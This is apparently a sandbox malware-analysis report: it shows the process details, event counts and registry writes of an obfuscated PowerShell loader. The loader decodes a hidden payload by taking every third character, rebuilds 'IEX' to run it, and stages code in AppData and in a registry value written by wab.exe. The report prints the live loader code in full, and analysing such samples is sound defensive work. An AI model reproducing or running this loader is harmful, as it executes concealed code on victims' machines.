sr BosmpPoipit SiinaUntBaeEl3Vi; M`$SlPForSuovopSwiDrtAli KaCetHaeDa4Bl Co=Re LnCBrhTaozenRatUfaSkqZyuKii crFloAr0Pe4Ne Ol'Sh9 A0SrFEnFTeC BD ACMa7DaC V0DoDFeAInCEp6Sa9PeAAkFPo0QuDTr1SiDKo2InDPhDGlDUnAMeDPe1IsFNi9ReDke1SyCAt0hjD aCHyDPrBKeDFr0 S9 PCMa9So0StEMa7 CDDcF WDDi8faD A0KaCGr0MeD S1Fu8 D6br9Su8Ha9 F4In9 A0 oEFe7 PDstFKnDCe8heDSt0AcC O0QuDDe1Sn8Eu7Ps9Un8Je9St4 S9Fo0unF B2KoDSkBFoCGa6TiDRi1UaD P7trDSi5PeCIt7SaCCh0SiDFuBdvC K6GeCHr7 EDKa2ChCEx7BrCEk4 DDPeASkD G0BrDclDGoDKeAPaD D3gyDMi1baDyoAReC K7Sp9 P8fi9 B4Sm9Sk0rhFOb2hoDBrBUsCHu6AbCSt7VaD RFTuDChASeDRoDFlDPrARrD S3 SCPr7GaCHa7 SDHa1InDra9CoDHaDImDLeASeDBe5InCOz6Wi8 C0Be8Pe3 P9FoD D9 PA UEFo7FoDPr1PuCDa0FoF UDTaD T9asC B4GaD e8DrDGa1 AD C9SiDUd1KoDSuA SCSo0SuDIm5ClC R0 SDBaDBrDSeB AD BA TF R2DiDHy8TrD n5VeDSm3CoC A7 a9 MCWr9be0LuF T2OlCIn6HoDFiDCoDReEocCca7EvDDa1SeD MA sDFe6BaD gB dCMo6HaDKo3InCSu7Ka8pa3 U9RoDPr'To;Al&Br(Co`$ReSSrkStlIsdCatTeeUr7 K)Kr pu`$ BPDirMeoKopfriKltstiObaAntLieSp4Tr;br`$BaPFir Po TpKoi AtmiiKka EtSieTa5Ha Wh=de RaCHahBio CnAftSaa NqBouIniLirSco R0 S4 T Un'FoCHa6RyDKn1ClC D0HyC R1YdCPu6AnDMuAFo9Pa4re9Un0 MFGeFnaCSvDPiCMi7 SCEt0MiDMiADeCVa6Dr9 CADeFBe7SpCTi6 ODin1 TDSn5siCDo0ReDAf1KoEUn0FrCReDAfCGa4FoDFe1Ln9ChC L9JeDPr' p;Va&Re(He`$DeSRekTalFodSetUne H7Ur)Mi Pe`$CrP RrToohipUniPstStiapaJetHeeAs5 D Co G ne; P} M`$ NDTve OkSeoDelAnlEleKotHoe ErSte Kt E1Qu0We Se=Be AnCSthVioHen FtGea BqOmuGrikor SoRe0Ha4In Tr'MeDsyFLiDSy1RaCPr6OlDSkAPrDOv1RoDCr8Ve8Re7Sn8Ul6Au' S;Ha`$OrfSpuResVikGueFar MeCinPls a Le= d NiCUdhSkoRenMotacaCuqitu SiUnrBeo K0Mi4 S la'PrC f1UnCEg7DoDco1 AC L6 C8ka7Ce8Ca6Sk'Ki; U`$FoCSthBaoSpnFrtEfaTrqStuFrimirTeoUp0Va3af Re=Ek SCPehBeoLvnRetmoaovqAuuArikor PoIn0 D4Be Qu'LeFGr3KeDTr1ThCFr0toFMa7HeDViBKlDPyACrCTr7SkD CB lDUn8DeDAn1SkECy3UdDPoDChD TASeD K0GaDBeB iCFu3Ge'Da;Al`$ TCZahFioPan BtSeaMuqAsuMiiForInoBr0Co0 A=BjC FhSioCrn AtGiaNoq Du TisgrVioGe0Re4No Co'FiEPo7KoD SCunDunBMaCSu3FiEBa3BjDRuDTiDUnA HDRe0BaDbyBSlCOk3Di'Ad;An`$OxPBorAnoFlpudi ItcaiGaaEltpee s6An T=Li NC RhNeoOcnRhtGyaGrqAbuIsiUnrSaoty0 U4Pr K'fo9 U0boFEnCPaCHjDExCDe4OvDGrBPrDTs3BuDKu1AfDCoBelDTa7FeDVe5ReC A6SpC u4FoDNaBamCFo1AfCTo7Sp9Tr4Da8Hy9 o9 C4SyESiFAmENo7CoCTiDOmCCo7stCAf0TvDOp1AfDIl9In9MaABaEOu6StCOd1LuDEtAReCSa0emDUnD CDSk9CrDLg1Pa9ChAAxFTiDKoDAsA gC A0PlDDe1DiCEl6KlDUnBHaCCa4 HEBa7MoD D1 QCch6BeCma2GeDRhDHaD I7 ADHy1 TC A7St9WhASqFFi9UdDAt5PrC W6WaCbe7FoDFoC MDBu5RoDHu8CoEAa9Ma8NoEun8CeEAeFsk3MeDsa1AnCSt0 IFBe0ReDop1AfD T8BlDGr1PaDLi3ToDve5ViCrl0OsDPa1PaFSk2QuDBlB AC J6TsFGi2ShCNo1suDFoA TD O7DeCTs0FiDArDHaD GBFoDLaAIaE N4ExDGiBGgDUnDToD kAcoCHo0ApDHy1 TCud6Ba9CoCLa9KeCDiDGy2 FDNeF oC B4Ti9Mo4Fe9 S0 MFPa0 AD A1DiDHoF FDTrBClDPa8EfD P8deDOp1SaC S0ExDNo1ReCgl6 BDBa1AfCSa0Ta8Pr5Ra8Te4 O9No4Tr9Un0 REBo7PrDDrFSyDUs8AdDPl0PaCGr0BiD E1 U8Sk0So9BlDSa9Va8by9Ba4Cr9BiCSaF T3ReF A0afECl0Re9Je4StFKa4Pr9inCDeEUoFPaFJoDThDamAHjCPa0CyEaf4StCMe0 LC P6BrELe9Ta9th8Be9Co4KaEKuF PESk1 BFBrDSkDOvAFaC F0 R8Pe7 p8Cl6ErEFl9In9 H8 D9Se4PrETiFCaEPr1HaFBeDTeD PAMuC R0Fl8 F7Tr8En6 SESu9Sa9Hi8Un9co4CaEBaFExEHe1BaFJoD PDTrAKiCGe0Be8Au7Ca8Aa6FoE L9Ru9 ODSt9Ud4 G9ArCYeEUnF TF SD CDAnA DCKo0TyESo4ReC B0 WCOp6suEGu9Sa9TiD T9MeDFo9siD P'ba; T&Mo(Un`$GoSVok wl KdNatDeeFo7In)Ri Un`$ TPRor no DpApiUntoviSoaUdtFreRn6Sp;Ni`$OpC KhVeoSenEvt OaTiqsuu SiTorRyoEt0Ci1Nu Ge= N atCVehAioLonPrtShaAfqTiuvei trRho K0de4Yd Bi'St9Fa0 HE M1SpDDeAHuCEn4HjD C5gaCKo0jaDFr1ReC Q6ChDZlA CDBy5KeDEk8 AD T8 ACHeDSp8Im6Dr8Sk4Fa8Re7Ru9Do4Ho8Sa9St9sn4MiEIbF TEBo7 ACGaD BC I7PsCRu0PoDHo1NvD P9su9UnAFeEak6PeCRu1MoDScAApCSt0StDFiDloDGr9PyDTo1 P9RiAUnFTrDDrDPlA VC I0EcDTr1DeCMi6 LDPoBPrCru4TrERo7 PDsa1 SC V6MeCWa2SkDExDPsDDr7CaD A1 JCEn7kn9 FA SFMa9KoDMi5DaC U6ElCBo7 PDfoCBnD H5AnDSa8FoERe9Bo8ApECa8 VE DFId3UnDEn1faCOd0SyF M0baDHa1geDPi8 FDBe1AfDPi3 KD H5DeCPa0AkDBl1HaFNo2SaDCuBStCMi6puFba2 NCFr1HjD TAPrDHo7NeC B0 PDagDNoD IB ODLiAReELi4EnDRaBFlDsaD ADPhABeC T0NoD S1 PCCa6Ch9 OCSa9GyCHaDVi2 NDUnF UCCa4Fl9 P4co9La0JuDBe2LnC J1OpCFr7OpDReF BDki1BlCOs6grDPe1 KDViA SCUn7Et9As4ar9 T0PrFTa7meDunCNiDMoB tDReA rCHu0LeDBe5AnCTr5DoCKa1brDBaDSpCSa6KvDInBCu8fi4Kr8 D4 U9FoD U9Un8Li9Ve4Fi9SnCOvFAp3peFPe0MeEsk0Av9Ov4RdFsk4 B9TvCAnEPsFKoFTeDCoDSmAKrCUn0CaERi4BlCIn0MoCUl6 LENo9Da9Su8nd9Me4PuECaFUnESt1weFGeD FDDiAArCSi0No8In7Bi8Tr6PiESk9Sn9soDMi9De4To9UlC PEVrF AFGrDPuDObAVaCTo0OrE C4SoCBa0FeC B6MiESa9Ma9CoD O9KaD O9AfDBr'Bi;Ba&Ep( t`$DoS EkGelSedUntReeUm7Ch)hv Op`$ XCPehFroHen StUnaTiqBruDyiSmrHooPo0Ud1Ja;Kl`$PoC Sh BoRanfotBaa SqfluMiiEur Lo F0bo2 F s=Co PaCTrhUdoAnnKrtPeaSaqopuBiiEmrDaoMa0 V4Su re'Zo9Re0OpEFo6SvDCoDTeDfo9 MDlo2 SCab6HyDPaBWoCLa7DrCPa0ReDRe1PaDTuARe9 I4ta8 T9Be9Me4CoEDaFSuENe7KeCUnDSkC G7UdCCa0AnDNe1 FDTr9 B9ZeAInEPr6ShCSi1TrDBiAAfCVu0diDLaDeqDSt9KfDYn1Ju9FoA oFBuDarDDoABiCHa0PaDVu1 ICre6DaDHdBAkCsm4InETr7FrDSt1PlCTr6TrCOk2BiD OD MDha7MuDTv1ReCfo7Le9MdADuFBe9SnDLa5SpCBs6SvCCo7CaDplCTiDNo5ToD A8SkECa9 S8 kEAm8NvEOwF S3 bDSo1 UCUn0SyFDo0PoDIt1NoDCo8StD H1SvDSp3PrDhe5 KCFl0foDUr1SpFRi2DeDItB CCAf6VaFbi2UnChe1LaDOoAUnDVi7KrCUd0GaDSkDAnDPrBMaDDiA ME M4InDBlB CD OD PDFoATiC M0EnDCa1 BCUd6 S9WoC T9BrC BDpa2 UD hFReCPr4 f9Un4 D9 J0 PF T0TrDTr1DyDKoFNoDBlBUnDBl8DeDPt8CrDOe1FuC U0jeDAr1FjCPe6DdDUn1SpCPo0Tm8At5sn8Fr4Gr9Kn4Ly9Ga0ChFGi7EsD MCLeD SBInDAeA FCTr0 KDop5CoCUn5 ICSe1KuDTrDUrCOu6 TDOvBSa8Ka4Ho8Od7St9 ID S9 E8Ju9Is4 d9 eCXeFTi3StFSa0TrESy0Be9Di4ScFre4Re9WiCLaEPeFkrFBeDTrDAfA kC I0FlE B4HaCCh0ArCAc6PaEBo9Se9HjDIl9Mi4Le9OtCAtEEfFVaFPeDHaD PALoC E0CrENe4GdCWh0AkCRe6MiEPe9Br9JuD O9 RDma9YuDMi'Li;Ov&Ko(no`$BaSYvkLylReddetKoePo7 s)Th Au`$LaC PhRao Fn NtNoaShqNou UiHorAaosu0Dr2De;Cr`$ RPDerEfoOvpVaiUmtfeiSpaVetPueSv7St at=Fr StCBuhDmoVonSkt FaFoqStukviGurStoSu0Le4Ne Yo'un9Na0StF CBSaCFo2InDAg1FrCEk6SuDCa6MaD L1SkD H5 PCGe6DeDMa5MuDcrAsyD a7 SDAf1To9 O4 F8Ex9Hy9Sp4Er9Un0StEOz6SpDTaDAsDUn9reDBo2SeCHg6DeDSpBTiCNg7PrCCi0siD F1 PD KAMa9 LALnFmiDStD SABlCMi2deDCaBmeDCoFUdDPa1Ce9ScCUs8Se4Ta9ReDTr'Eq;Si& T(Ve`$UnSAckRel AdLetWoe S7Kv)se Ge`$ DPUsrLooJopPeiOvtCaiStaPrtEleLa7 O;fu`$BrPBerFeokipTuiIntSii MaHut ReHo7Ta Ne=Mu OCDihFooCln LtPoaShqAnuXyiMirSkona0 A4Be O' C9Po0UnEBo1DoD FACrCDe4SyDHj5UrCKo0 TDin1KuCSe6VaDboA ODTh5 MDun8AfDGn8UdCStDre8Ta6Mi8Ma4Fi8Ga7Co9OvALaF CD KDSuABoCNo2NeDGiB DDWoFEnDAf1Le9ErCOm9 M0UnFOfBReC I2RyDEm1RuCno6 GD D6SpD K1LuDSv5DrCKe6meDSy5MoDTuAApDMi7FoDFo1Vu9Fr8Pr9Ob4 D8Pe4At9kaDAu' R;Ko&eh(Pl`$ GSFlkUnlTudHatPre C7sa)Fo Di`$UnPStrAfo Ip UiAntBniDraLstGeeMr7Sg;Om`$psPTarDiaAde RfCaoBilStiTiaDetBri Ko MnUn Fo= F KfTrkOmpIs Sa`$KeSHykCalSwdGatAdeTv5 K In`$AtS SkAnlUnd UtaleHe6Ch;He`$BlPAlrDyoVep SiPrt RiFoa FtUneio7De Jo=Ch gaCVehJuo Mn MtUnaRaqAtuOri ErMaoRi0Si4He Ps'Hj9Pa0CoFErCDeCSi6UiCSp0HaDAr1 ICCa7 P8Ho7 H9af4 F8 K9Ja9Kl4In9Hi0FrFBiCSiCSkD SC c4MeDPrBCaDBn3 HDOu1DrD BBnaDWi7AcDIn5 KCNo6tuCMo4BrDTeBNaCCa1FoC G7de9BeAEmFHaDTeDBiABaCxy2GyDVeBMeDUdFOpD m1Rg9BlCLiESoFImF RDMrD SAAeC B0LaEpe4GyC F0PaCMa6XyESt9 C8FuE T8GaEMaEOkEPrD T1 TCPr6AcDAaBSu9 G8sk9Fr4Fi8Sc1Da8Un3Fu8osDDi9Uu8En9 H4 D8De4VeCOpC S8Ar7ar8Jo4Tr8En4Go8Hy4Bl9dm8Ap9do4Sc8Pl4AmCLaCPl8Or0Go8Di4ud9BeDhe' e;Ti&Kn(Ca`$UdSEnksal PdHytReeKo7 U)Un O`$HyPCerAuoStpVii CtSeiCyaHat seJo7Te;Ca`$VaPSkrbropapCoipotSoiFoaMyt Be v8 P Ne=Sg PaCAfhStoTinDetOlaReq Uu PiPlrfooGt0 D4Af L'Ba9Ri0NoEAn7DrDUn5puDAf9 tD V6InCTr1 EDUtFMiDVa1Li8Uh6 N8Su0Fl8MaDdoDRe5moDKu3EnDTo3 PCmi6PoC a1NoDAsAKrDHo0IrCRe7SyDSa9CoCIs1 PCKa7TrDKuDcaDUdFReDteFBlDSp1 WDMuA ACDi7Br9Ba4Ra8Sk9 T9Nd4Ep9Sa0ExFOoCPaCskD KCGa4TaD HBCaD U3stDOv1FuD OBFrDKa7RuDPr5 UCEr6CeCFe4 UD PBBoCMi1FoCPj7Ke9 KAVaFHoDBsDspAChCIn2 ADKlBNiDCoFGeDAe1be9AbCCoEPrFSkFLiDRhDSkAInCFl0PoEre4 bCRe0unCFo6 RERe9Ma8suEBa8 IECoEReEunDTj1OvCIm6PaDBeBEn9Rb8Ma9Ir4Sp8Un3pr8Ho7kr8 S1Pa8NoCBe8 b0vi8Ti2Ua8Ps0In8Ta4Fo9 G8st9Fe4Fu8Be4 FCAlCEs8Se7Sj8Pa4Wa8Si4Af8 R4 B9Li8Un9Cr4 H8Pr4FeCGaC P8Ec0Lo9FaDGe' M;Af&Ro(Ge`$StSSukSnlMidRetmee P7Bi)Kr Af`$CoPOvrIfo Vp Si Bt NiZeaCotAneTr8Qu;An`$BaHDerdit PeSnsNs2ls=Be`"""Re`$Hye SnnavGr: CAJaPLoPTiDRaAPrTFoASa\ NsKapTurSkhTraEkgUne KrWisBo\ CdVee MrMoiopvHyeFrdMin BeAfs SsId\HmcDooLouStpPreTedFo\Ga`$PrIVuNOuS ETOnD CIOpRFu\RiW riSenAnddycCihFreScs AtIk. FCIshSpeUn`"""Ce;Ti`$RePAtrOvoMipGriKatLuiSta AtEmeWh9Rh T=Kr MiCUnh MoFlnImtriaSaq FuShi ArDeoDa0tr4pr Mi'St9An0GeEPi4caCta6 UDChBWhCFo4StDUnDSiCbi0StDAlDUnDar5 BCAn0DeDNo1no9Sp4 A8Pr9Gr9In4ceETyF UESl7 BCsuDInCIn7 DCDi0 AD A1PaDSe9 K9BaATrFSkDSpFHiBCa9StAFuF v2InD SDGsDMa8UnD S1WaEHy9Se8BoETe8TrE PEAp6 FD I1 RD S5 IDSp0SaFkl5TiDDi8 SDPe8ArF C6BaCSeD TCsu0UdDSn1TrCOr7Br9MiCEn9 H0ToF QC KC C6BrCDu0 VDEl1AnC P7Br8De6Sq9InDPo'Me;No&Co(ma`$KoS PkPhlRedBetNoeLi7Sa)Po Yn`$SkPSyrFuoFopPai GtTei AaKrt Ie C9Pr; M`$OzLuduPem SpAtnSaeSnsTh0Te T=Ir DgCArhLsoUnnWitImaHeqStuUdiNorUdoSc0Pa4Fr At'SwEBjFGaENa7MuCLiD PC S7BrCSt0SkD R1 NDLe9 A9FdACiEtr6RuCFo1UlD UA BCIn0 EDStDSpDDi9UlDIn1Me9foAReFAaD FDAbABrCHa0ErDSu1PaCsu6ArDImBEvCKe4SyEMi7 sDSk1 EC E6 DCSl2MiD BD GD i7SuD t1CrC R7Gi9maA CFAf9SuD P5TyCFr6KoCFa7SkDKvCLyDPu5OwDAf8DeEHa9Sa8SpEPo8ByEToF O7frDinB TCfr4BuCSkDSt9FrCBr9 c0 BEBy4miCLe6 PDKeBDyCPr4SkDTrD SCLi0 SDThDElDBa5IsC I0FlDUn1An9Da8 G9 G4sv8 B5Ri8Sy4id8Tr6Co8Nu0In9Vi8Ma9Aa4Uf9fr4 U9Fa0LiF ECdeCBe6 ECKa0 KDEv1usCSc7Ob8 S7Bi9su8 P9un4 K8Cl1Sa8 I3 P8beDGe9 BDSt'Gl;Py&Di( G`$ PSUnk BlSkdExtloe U7Ga)ek Kv`$ DL AuScmBepRun We AsHa0 G;Un`$kaCLeoUnnPat Be BxmetaniFiv Teta=So`$FoP SrOyoEpp MiAltAfi OaSatSkesn. EcKeoAtu HnUntLa-Di5Re7Re9Vi-Be1 M0 A2 B4 S;Su`$ JLFru EmRepTinOveSksPa1Co A=ta CoCTvhbeoscnVitRoaElqFeu BiInrRuoFo0pe4Ta D'NeEArFDiEKu7MaCHjDDaCAn7PlCOv0BaDko1BeD F9Je9SlAPsEPa6syCta1NoDDuASpCFo0coD JDitDDu9 gDPt1No9AfABeFIsDBaDUdAUlCHe0 UDKp1 cCai6KrDkeB ICSm4SmEMi7PaDBj1 MCCo6UnCSy2HuDSpDInDUd7LaDSa1IlCBa7 N9SaAFiFTi9ToDfe5 SCTr6taCAc7UbDDeCMiD V5NoD F8SkETe9Co8 FEBi8prE DFVr7 NDMrBKoCAd4UrC EDMo9ToCBo9Sw0RoEGe4SuCDe6OvD LBNoCRe4CoDUnDTeCIn0PeDUnDArDRe5 kC U0TiDSp1Br9 c8Pr9 R4Co8Ne1 M8 p3Bo8 PDSk9PrFEt8 L5Ve8Sh4Pe8St6Do8Sl0Ch9Br8Va9By4Ca9 c0VaEAs7SeDVi5 NDLo9UnD K6 FCRa1PsDFrF CDAr1St8 u6Pa8al0Di8ScDGaD l5 FDKo3SoDJe3haCCa6 MC M1AtDBiA SDCe0 UCMa7 EDVi9akCCh1JuCRa7PiDweDTeDUnFnaDInFRaD S1SoD SAObCLa7Su9Ma8 K9Tk4 C9Hj0BeFSt7 ODFaBEbDRaACaCSu0ElDCa1SiCReCArC D0DeDspD FCLa2 RDVa1Av9RaDAb' U;Sk&In(Fo`$GaSSak Al TdSetKleMb7Ak)Ro To`$EmLFiu KmGupAbnUdeSosSv1Al; N`$TjLThuKimHapGanPaeTosPo2Sp da= S MCPihUnoTenFatGaaPuqCouKai srBeoSa0Me4Fo By'He9Pr0toCDe4CiDSe1MiCCo6FoDBe1CaDDoDTiDFi5sa9Ui4do8Hj9Wa9Re4PoE SF UENo7 KCStD hC r7IlC R0FiDbo1GeDUn9 S9RoATrE h6SeCCu1EnDUnALaCMe0 GD RDInDId9 TDSi1Em9InA FFFuD PDAfAdiC L0 ADHo1CaCSn6DiDShBAbC P4GrETa7LeDDa1AnCch6GeCGa2 PDUnDBoDOs7 aD S1DrCEl7pr9ToABrFAt9MaDLr5CrC T6LoCMa7ClDMaCInDTo5SoDHk8 KEFu9Cl8 KE T8WrEsuFCh3snDce1AeCtr0exFCh0CaDRe1 UDBa8 UDOr1FeDWe3stDEx5FeCBe0UnDIs1BiFMo2StDAdB TCdr6StFDo2KvC T1OmDFoAHaDsv7HeCFi0poDOiDTiDUnB IDUdASyECi4KoDSkBKrDIoDPsDOvAFoCMa0 SD S1SpCNo6Bl9ovCAc9RuCToD K2alDMeFUnC D4gr9De4Pi9Sa0PoEGa7SkCCo0FaD h1HoChe6 UDPr1FoDSaBSlCUd7ApDJo7 GDHaBBoCSp4PuDGa1 ACTr7 T9Pr4El9St0HoESk4FoCUn6BaDHn1SiDFoEFrC M1UdCIn7NoCKa0UtDAlDdiDLu2 ACAuDUr9 GDRe9Ou8 U9Pa4 J9BrCOpF I3AnFNo0 SEkl0 N9Bu4 AFAn4 A9PeC CEToFGeFevDCuDKlAVoCAf0kuEFl4MeCMi0ThCAf6PrEFo9Ro9ka8Ma9Ap4 JECoFTeFMiDSpDSyAKlCfl0UdEEf4NoCSt0BeCSa6CoEdi9Ad9Tu8Se9Or4 kE FFInFMuD NDNoAAnCTr0JeEAn4BoC R0VeCMe6TrEAr9Fo9Ko8An9Ci4 GEJuFBeFFeDPpD SAEvCSp0StE U4HrC R0SpCNo6 UEDi9Av9sk8Un9tr4erEThFFrFSkDCoDFoAGrCBr0 FECh4TeCAk0 SCBa6FjEDi9 N9enD M9No4Be9SkC LEBoFBlFSpD BDOpAKaCGa0ScEFa4PrC S0 HCFi6seETa9Ha9SeD K9TkDSk9GaD K'Re;Ve&Ra(Za`$fuS UkEllIndFotdaeSa7Ku) F A`$ PLDiuQumCrpPrnIneStsfi2Wi;Hj`$TrLSpuWomPlpCon Pe dsVr3Po Ba=St spCoph AoAsn HtsvaHyqomu biAprReoOv0Su4 H Ss'Sa9Sv0 TCSk4DaDHa1gaCAs6InDPi1AnDUnDKvDte5Af9SuAInF CDToDLoADeCKa2TaDCoBbrDHoF SD C1Tv9chCSk9Va0AmFSaC MCem6 AC t0UnDTi1 VCAl7Pi8Me7 P9Fe8 F9 R0LoEDe7BrDOv5BeDDe9SmD Q6ReCEn1TaDKaFBuD C1Ad8Sk6 A8 U0To8PrDchDPr5ElDCo3BeD N3SuCSn6UnCFo1SaD VAMiDMa0GeC A7 ADDd9 RCbl1TrCFa7FaD FDLiDAlFTaDPsFBoDIr1RiDEnAmeCDd7Fo9Ph8fe9Fi0BeE D4 MCPe6SlDDe5PyDKu1RoDEb2BrDBoB EDre8sdDVeDNyD c5InCOv0DiDEpDWiDFiB RDOmARi9Vo8Ab8De4Om9Ae8 G8Hu4Un9UhDud'St;Ve& S(Su`$HySKek Ul PdAft BeOe7 F) I De`$ XLLeuBzmGrptonUpeArs S3Di#Fa;""";function Lumpnes8 ($Forecastors,$Sambuke249) {&$Eksperimenteredes0 (Lumpnes9 'He$EfFRioNor CeUnc Ua hsCatAfoSurMosMe Sa-StbTexCeo DrSp No$gsS OaSumFobPluauk He R2Di4Eq9Fo ');}function Lumpnes7($Smidiggrelsers) {return $Smidiggrelsers.Length;}Function Lumpnes9 ([String]$Fringernes) { $informationsindsatsens = Lumpnes7 $Fringernes; For($Tilluk=2; $Tilluk -lt $informationsindsatsens-1; $Tilluk+=(3)){ $Chontaquiro = $Chontaquiro + $Fringernes.Substring($Tilluk, 1); } $Chontaquiro;}$Eksperimenteredes0 = Lumpnes9 'stIReE EXOp ';$Eksperimenteredes1= Lumpnes9 $Hundredal;&$Eksperimenteredes0 $Eksperimenteredes1;<#Obligational Hirsle Ladron uddannelsestyperne Bindegarns Slape #>;" | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
Total events
9 294
Read events
9 291
Write events
3
Delete events
0
Modification events
| (PID) Process: | (7396) wab.exe | Key: | HKEY_CURRENT_USER\Attrups |
| Operation: | write | Name: | Damplokomotiver |
Value: dir;$Hundredal = """ty;SwFAnuHynbecNatSti Yo DnOl ReCrah Bo InGutUdaInq UubriStrtloIn0 F4 S Bi{Ad Mo G In oopNoaRerAla BmPe( I[FeS TtblrAsiGanDagTy]Rr`$FoF Sr KiConodgUneForunnHee SsHe)Fo;De Sp Sp Sp Do`$leVKriClg DfLeuNisSksMi La=Ud LaN NeGew e-EtOKobRajAce PcDktSt Elb BySytFoepr[ U] P Fl(Gl`$SmF Sr GiRenUngSaemurSvnDeeMesCo. GLAmeUnn NgKatOvhde Fa/Ns Pe2Ma)Ed;Ba Sl su Be HoFFooAfrAf( s`$AiT GiHelInl aulnk S= C0Kv;Ra An`$LaTAui KlStlExuKokBr E-PolRetPo H`$TrFUvrTiiNen FgCheCorUnnSqeDes E.TiLDaeGinDrg St Sh R;As Fo`$ VTFriDulLilHyuAukYl+ L=Ri2Ra)Do{Ap Ma Af`$BeCGur MaMemMap MbUniIntal Ac=Ch Ob`$DoFRerFriUbnMygFieElrSknTaeStsSa.lgSOmu SbLls Wtskr HiNon kgUn(Tr`$ZaTNeiPil FlCauHekKv,Py L2La)Cr;In Ca F He Do Un Na R On`$ KVAfiIngGefKouUfsTespo[Mo`$CiTDeiThlBrlGruAnkSt/Re2Un] S An= S Be[FucDio Mn TvfreSor mtTr]La:Bo:MiTUdoemBExyPjtThePj( S`$VoCFrrPla Sm HpTibKniEltRi,En E1Bo6Is)Po;ka Ce C`$WaV JiBygsdfLauAusHus B[Di`$arTHyiFol Sl luSukWa/ G2Re]Un N= C SLcauEjmKnpDenkleSksbr8 U An`$TvVLuiRmgOvfisuResUpsSa[pe`$ BTImiaglOrlThuKukSn/ P2Po]En Go1Ru8 A0Sk; U fo In sm Or} B Pr[SnSPetKorseiStnvegPr]Un[TrSSayTesSotUneAamIm.SiTOmeCoxbatIs.FeECrnTrc IoPrdLviWonEagKl]Se:Ur:GrANeS CCPrICaI t.OmGSaeHatReSLitBerUniBanLag T(Ex`$ hVEui FgAdfEquBlsPosPa)Sk;Pr}Sa`$AfFNyrThiIrjNasSoe TnBebthoinr IgVas P0Tv=PrCKehKloKanFotHua FqInuUniUnr po L0Ri4In O' PESk7ScCRhDBiC S7SpCMi0DaDAt1luDUf9Ma9DyA IDCh0InD N8ReDOp8Du'Vi;Re`$SpFAfrBeiPoj EsmoeCinspbRaoDarReg FsBr1ud= RCByhPaoVin TtSuabeqDeulaiClrboo p0Tr4 F D'riFAr9 RDRaDMiDGl7 FCLa6udD sBSiC e7FuDSpB GDRh2SaCDo0We9GrAPrEne3CoDAdDLaDVrAHe8Sp7 S8Ap6Un9BeA PEAu1boDDiASuCUh7 pDAr5PrDFo2PaDDi1PrFteAmyDWa5KrCKr0GeDVoDUnCBa2MaDcy1NoF S9DaDAn1HeCCo0EnDTiCOpDBlBUdD U0CoCPo7 A'As;Un`$ReFGerHuiunjVesBleUnn DbLfoBrr Bg dsSi2ni=EfCAnhRhoElnCrtKaaSpqchuOrisurTeoun0Lu4Op Be'PyFIn3SkDFr1HaCEs0SeELy4AdCZo6GaDSnBByDSa7LoFSu5TrDVi0KkD T0 SCra6UtDSl1 MCPe7RvC N7 N'Le;Da`$HoFKlrBriPajBosFle MnUvbWaoRurAfgMisGa3He=FlCAdhSuoUnnnotMoaPrqInuRei UrDaoSi0He4su S'noESl7KrC PDHeCDo7 DC N0 FD a1PoDVo9Pe9AgA AEHu6XeC B1SkDNoAInC K0ReDEiDSpD S9hiDMe1Ui9FoA CFPeDLuD UAKaC B0PoDSa1 NCex6PaDVaB KCLe4DeESt7LeDPe1 CCka6LoCsc2 BDPaDseDLy7BoDIh1FrC F7Ta9 AA JFRuCStDSc5ThDKrAPlDBe0BoDLe8OvDUn1 METa6chDIn1 PDAi2El'Pu;Ho`$ReFwerBriLajDisPeeBanBlbMaoHor Rg EsSt4Mi=foCLrhReoTrn CtTraBoq LuCuiRirBeoLi0Se4Di St'FaCPa7VaCNo0abCFi6StDJeDSeDToAAnDUr3 U' U;He`$MiFDyrLii UjVesude Sn IbInounrSagAlsCh5 G=BoCWah Do Sn Bt EaStqCeuaniInrLso A0Ro4Ad Et'ZeFNo3GoD S1InCLe0 pFEm9SkDSeBNoDEf0KlCSy1 MD P8HeDBa1TrFDeCEqDCo5CaDHyAFoDin0 MD R8AnDbr1Ov'hi; N`$UnFPorSuiPyjErsSpeLenStbPlo grReg AsTr6Ph= ICLahReo An CtPeaFuqCau Ki Kr AoTi0Dr4Fo I'PhE B6 FEAm0SkECe7DeCGr4OpDbr1TrD H7FaD PDFoDAn5 LDFo8GoFEcAUnDEq5PrDdi9stDAp1Fo9By8Sc9ud4PaFSoCMaDchDBeDTr0UdDpr1 OFAl6GeCblD MEEn7RaDSaDBrDAn3Pe9Sk8 S9Tu4StEEr4NaC O1LeDCa6UnD g8TeDUdDRdD R7Ad'St; O`$SiFRarAliKljHasAveBonDubMaoFlrRogBrsEu7Am=StCHuhPaoHanThtSeaAnqSpuRoi DrNooSm0Ha4Un We'AnE F6 KCBu1DeDwaAlmCIn0VaDFiDGoD p9AcDCe1ak9Jo8Se9 B4AcFbu9CuDRe5 LDbiABoDDe5 AD M3TrDBa1BrDOv0Fi'Sy; r`$SoF EraaiOvjFesBletin AbPho DrBegMisMi8 P=CoCBrhVuoLin VtEkaalqHauChiKarBroUn0Ke4Pu De' SE C6 ADVa1 SDve2BiDEl8LaDTe1OvDFl7 SCBe0EmDSw1SiDRu0HeFBl0reDBr1NoDPi8HyD M1 FD A3prDPa5SaCHa0toDCe1St'Sm;ba`$PiFAar FiOvjRisJaebln AbUao UrStg BsOv9 j= SCChh AoGunVitKfaAgqUdutriFerGaoAt0Sa4Se Fo'ViFHuDkjDKoA TF P9 jDbj1MgDIn9BuDPaB BCMo6 PCClDCoFSk9 MD KBAgDbe0FoCSo1PrDAf8PsD S1Pe'Se;Si`$FoSTikDelMidHetLredr0 U=OpC ChProGan RtbraTyq hukaiPer ToEn0Su4Ka Fr' FFSc9AlC TDChF L0DeDUn1EdD T8BrDOv1CoDNo3NlD U5anCRo0PrDBr1 AEFo0AgCShDLaCRe4CaD P1Vr'Da;Fa`$ SS FkRalBidMutAmeSt1Mo= TCSyhSioHynPntGraSkqInujai Rr RoAn0Ge4 D Cp'glFCo7InDCo8IlDAg5 EC S7KrCAm7ch9Pr8Se9Re4 PE T4MuCDo1FlDOa6stDFo8boDprDKrDVe7St9An8 R9Ga4DaEBl7AeDSk1 SDIm5StDbr8GaDSe1TuDOh0 F9Su8Li9Du4TjFRo5BrDPeAAkCSk7KoDRwDKlFPo7GaDVe8AmDHe5 RCAu7 VCKr7Br9Un8Gi9lu4 DFHe5FiCrn1 HC 